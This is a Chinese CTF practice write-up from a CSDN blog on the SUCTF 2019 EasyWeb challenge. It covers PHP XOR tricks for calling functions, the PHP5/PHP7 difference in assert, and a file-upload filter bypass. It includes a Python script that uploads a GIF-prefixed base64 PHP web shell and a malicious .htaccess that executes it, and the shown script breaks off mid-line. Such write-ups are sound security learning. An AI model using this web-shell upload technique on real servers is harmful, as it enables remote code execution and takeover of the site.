ctf-buu练习记录

本文记录了作者在参加不同CTF比赛时遇到的PHP相关问题,包括PHP异或函数调用、PHP5与PHP7的差异、PHP伪随机数、PHP包含临时文件、以及爬虫和反序列化等挑战。通过对题目和解决方案的学习,作者探讨了如何利用这些知识进行安全攻防。
摘要由CSDN通过智能技术生成

(这周确实划水严重

[SUCTF 2019]EasyWeb php异或

异或实现调用函数

文件上传及绕过 .htaccess

bypass disable_function

收获

PHP5与PHP7

在PHP5中,assert()是一个函数,可以使用 = a s s e r t ; _=assert; =assert;_()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。
在PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写(‘phpinfo’)();

刚开始一直用php5的版本导致没成功

import requests
import base64

shell = b'GIF89a12' + base64.b64encode(b"<?php eval($_REQUEST['aaa']);?>")
url = "http://7a6d6a7e-86d2-46b8-9c9c-9bd316408d7b.node4.buuoj.cn/?_=${%80%80%80%80^%DF%C7%C5%D4}{%80}();&%80=get_the_flag"
files = {
   'file':('123.aszxc',shell,'image/jpeg')}
data = {
   "upload_test":"Submit_test"}
r = requests.post(url=url,data=data,files=files)
print(r.text)


htaccess = b'''
#define width 1337
#define height 1337
AddType application/x-httpd-php .aszxc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_8d417bc0aa101d705aea19b3653e6b6c/123.aszxc"
'''
url = "http://7a6d6a7e-86d2-46b8-9c9c-9bd316408d7b.node4.buuoj.cn/?_=${%80%80%80%80^%DF%C7%C5%D4}{%80}();&%80=get_the_flag"
files = {
   'file':('.htaccess',htaccess,'image/jpeg')}
data 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值